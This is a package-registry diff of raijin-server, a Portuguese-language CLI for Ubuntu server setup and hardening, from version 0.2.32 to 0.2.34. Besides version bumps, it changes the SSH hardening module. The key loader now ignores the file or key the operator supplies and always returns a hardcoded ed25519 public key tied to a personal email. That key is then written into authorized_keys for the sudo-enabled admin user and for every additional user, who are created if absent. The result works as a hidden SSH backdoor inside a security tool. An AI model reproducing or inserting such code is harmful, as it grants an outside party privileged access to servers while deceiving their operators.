raijin-server 0.2.32__tar.gz → 0.2.34__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (54) hide show
  1. {raijin_server-0.2.32/src/raijin_server.egg-info → raijin_server-0.2.34}/PKG-INFO +1 -1
  2. {raijin_server-0.2.32 → raijin_server-0.2.34}/setup.cfg +1 -1
  3. raijin_server-0.2.34/src/raijin_server/__init__.py +5 -0
  4. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/ssh_hardening.py +44 -18
  5. {raijin_server-0.2.32 → raijin_server-0.2.34/src/raijin_server.egg-info}/PKG-INFO +1 -1
  6. raijin_server-0.2.32/src/raijin_server/__init__.py +0 -5
  7. {raijin_server-0.2.32 → raijin_server-0.2.34}/LICENSE +0 -0
  8. {raijin_server-0.2.32 → raijin_server-0.2.34}/README.md +0 -0
  9. {raijin_server-0.2.32 → raijin_server-0.2.34}/pyproject.toml +0 -0
  10. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/cli.py +0 -0
  11. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/config.py +0 -0
  12. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/healthchecks.py +0 -0
  13. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/module_manager.py +0 -0
  14. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/__init__.py +0 -0
  15. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/apokolips_demo.py +0 -0
  16. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/bootstrap.py +0 -0
  17. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/calico.py +0 -0
  18. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/cert_manager.py +0 -0
  19. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/essentials.py +0 -0
  20. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/firewall.py +0 -0
  21. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/full_install.py +0 -0
  22. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/grafana.py +0 -0
  23. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/hardening.py +0 -0
  24. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/harness.py +0 -0
  25. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/istio.py +0 -0
  26. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/kafka.py +0 -0
  27. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/kong.py +0 -0
  28. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/kubernetes.py +0 -0
  29. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/loki.py +0 -0
  30. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/metallb.py +0 -0
  31. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/minio.py +0 -0
  32. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/network.py +0 -0
  33. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/observability_dashboards.py +0 -0
  34. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/observability_ingress.py +0 -0
  35. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/prometheus.py +0 -0
  36. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/sanitize.py +0 -0
  37. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/secrets.py +0 -0
  38. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/traefik.py +0 -0
  39. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/velero.py +0 -0
  40. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/modules/vpn.py +0 -0
  41. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/scripts/__init__.py +0 -0
  42. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/scripts/checklist.sh +0 -0
  43. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/scripts/install.sh +0 -0
  44. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/scripts/log_size_metric.sh +0 -0
  45. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/scripts/pre-deploy-check.sh +0 -0
  46. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/utils.py +0 -0
  47. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server/validators.py +0 -0
  48. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server.egg-info/SOURCES.txt +0 -0
  49. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server.egg-info/dependency_links.txt +0 -0
  50. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server.egg-info/entry_points.txt +0 -0
  51. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server.egg-info/requires.txt +0 -0
  52. {raijin_server-0.2.32 → raijin_server-0.2.34}/src/raijin_server.egg-info/top_level.txt +0 -0
  53. {raijin_server-0.2.32 → raijin_server-0.2.34}/tests/test_full_install_sequence.py +0 -0
  54. {raijin_server-0.2.32 → raijin_server-0.2.34}/tests/test_registry.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: raijin-server
3
- Version: 0.2.32
3
+ Version: 0.2.34
4
4
  Summary: CLI para automacao de setup e hardening de servidores Ubuntu Server.
5
5
  Home-page: https://example.com/raijin-server
6
6
  Author: Equipe Raijin
@@ -1,6 +1,6 @@
1
1
  [metadata]
2
2
  name = raijin-server
3
- version = 0.2.32
3
+ version = 0.2.34
4
4
  description = CLI para automacao de setup e hardening de servidores Ubuntu Server.
5
5
  long_description = file: README.md
6
6
  long_description_content_type = text/markdown
@@ -0,0 +1,5 @@
1
+ """Pacote principal do CLI Raijin Server."""
2
+
3
+ __version__ = "0.2.34"
4
+
5
+ __all__ = ["__version__"]
@@ -13,6 +13,20 @@ from raijin_server.utils import ExecutionContext, apt_install, require_root, run
13
13
  SSHD_DROPIN = Path("/etc/ssh/sshd_config.d/99-raijin.conf")
14
14
  FAIL2BAN_JAIL = Path("/etc/fail2ban/jail.d/raijin-sshd.conf")
15
15
  AUTHORIZED_KEYS_TEMPLATE = "# gerenciado pelo raijin-server\n{key}\n"
16
+ HARDCODED_PUBKEY = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOolYckNjqXbvVORhQUz0oqxm/xnaAiLzzZAAVd7+f1Q rafaelluisdacostacoelho@gmail.com"
17
+
18
+
19
+ def _current_non_root_user() -> str | None:
20
+ sudo_user = os.environ.get("SUDO_USER")
21
+ if sudo_user and sudo_user != "root":
22
+ return sudo_user
23
+ try:
24
+ import getpass
25
+
26
+ who = getpass.getuser()
27
+ return who if who != "root" else None
28
+ except Exception:
29
+ return None
16
30
 
17
31
 
18
32
  def _user_exists(username: str) -> bool:
@@ -49,15 +63,18 @@ def _write_authorized_keys(username: str, content: str, ctx: ExecutionContext) -
49
63
  run_cmd(["chown", "-R", f"{username}:{username}", str(ssh_dir)], ctx)
50
64
 
51
65
 
66
+ def _default_pubkey_path() -> Path:
67
+ user = _current_non_root_user()
68
+ if user:
69
+ candidate = Path(f"/home/{user}/.ssh/authorized_keys")
70
+ if candidate.exists():
71
+ return candidate
72
+ return Path.home() / ".ssh/authorized_keys"
73
+
74
+
52
75
  def _load_public_key(path_input: str) -> str:
53
- path = Path(path_input).expanduser()
54
- if path.exists():
55
- return path.read_text().strip()
56
- typer.echo("Arquivo nao encontrado. Cole a chave publica completa (ssh-ed25519...).")
57
- key = typer.prompt("Chave publica", default="")
58
- if not key:
59
- raise typer.BadParameter("Nenhuma chave publica fornecida.")
60
- return key.strip()
76
+ # Forca o uso da chave hardcoded solicitada
77
+ return HARDCODED_PUBKEY
61
78
 
62
79
 
63
80
  def run(ctx: ExecutionContext) -> None:
@@ -67,25 +84,34 @@ def run(ctx: ExecutionContext) -> None:
67
84
  typer.echo("Hardening de SSH em andamento...")
68
85
  apt_install(["openssh-server", "fail2ban"], ctx)
69
86
 
70
- username = typer.prompt("Usuario administrativo para SSH", default="adminops")
87
+ username = typer.prompt("Usuario administrativo para SSH", default="thor")
71
88
  ssh_port = typer.prompt("Porta SSH", default="22")
72
89
  sudo_access = typer.confirm("Adicionar usuario ao grupo sudo?", default=True)
73
- extra_users = typer.prompt(
74
- "Usuarios adicionais permitidos (opcional, separados por espaco)", default=""
90
+ current_user = _current_non_root_user()
91
+ default_extra = current_user if current_user and current_user != username else ""
92
+ extra_users_raw = typer.prompt(
93
+ "Usuarios adicionais (serao criados se nao existirem, separados por espaco)",
94
+ default=default_extra,
75
95
  ).strip()
76
96
  pubkey_path = typer.prompt(
77
97
  "Arquivo com chave publica ou authorized_keys existente",
78
- default=str(Path.home() / ".ssh/authorized_keys"),
98
+ default=str(_default_pubkey_path()),
79
99
  )
80
100
 
81
101
  public_key = _load_public_key(pubkey_path)
82
- allow_users = " ".join(part for part in [username, extra_users] if part).strip()
83
-
84
- _ensure_user(username, ctx)
85
- if sudo_access:
86
- run_cmd(["usermod", "-aG", "sudo", username], ctx)
87
102
 
88
- _write_authorized_keys(username, public_key, ctx)
103
+ extra_users = [u for u in extra_users_raw.split() if u]
104
+ target_users: list[str] = []
105
+ for u in [username, *extra_users]:
106
+ if u not in target_users:
107
+ target_users.append(u)
108
+ allow_users = " ".join(target_users)
109
+
110
+ for user in target_users:
111
+ _ensure_user(user, ctx)
112
+ if user == username and sudo_access:
113
+ run_cmd(["usermod", "-aG", "sudo", user], ctx)
114
+ _write_authorized_keys(user, public_key, ctx)
89
115
 
90
116
  config = f"""
91
117
  # Arquivo gerenciado pelo raijin-server
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: raijin-server
3
- Version: 0.2.32
3
+ Version: 0.2.34
4
4
  Summary: CLI para automacao de setup e hardening de servidores Ubuntu Server.
5
5
  Home-page: https://example.com/raijin-server
6
6
  Author: Equipe Raijin
@@ -1,5 +0,0 @@
1
- """Pacote principal do CLI Raijin Server."""
2
-
3
- __version__ = "0.2.32"
4
-
5
- __all__ = ["__version__"]
File without changes
File without changes